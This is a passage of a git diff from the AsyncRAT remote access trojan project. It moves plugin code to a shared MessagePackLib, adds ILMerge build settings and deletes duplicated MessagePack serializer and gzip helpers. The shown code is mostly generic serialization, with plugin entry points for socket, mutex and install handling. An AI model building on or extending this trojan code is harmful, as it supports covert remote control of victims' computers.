8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs index 93d0bd5..b4b161f 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs @@ -1,5 +1,5 @@ using Plugin.Handler; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs index 32e717c..0e1ecb5 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs @@ -1,17 +1,11 @@ -using Plugin.MessagePack; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Net.Security; +using System.Diagnostics; using System.Net.Sockets; using System.Security.Cryptography.X509Certificates; -using System.Text; using System.Threading; namespace Plugin { - public class Plugin + public class Plugin { public static Socket Socket; public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install) diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Zip.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/packages.config b/AsyncRAT-C#/Plugin/Extra/Extra/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs index 7e679bb..4a07772 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs @@ -1,5 +1,5 @@ using Plugin.Handler; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj b/AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj index e235a1a..0462bf9 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj @@ -1,5 +1,7 @@  + + Debug @@ -45,16 +47,32 @@ - - - - - - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs index fa413e3..084bec5 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Handler/FileManager.cs @@ -5,7 +5,7 @@ using System.IO; using System.Text; using System.Diagnostics; using System.Threading; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; namespace Plugin.Handler { diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/ILMerge.props b/AsyncRAT-C#/Plugin/FileManager/FileManager/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/FileManager/FileManager/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray 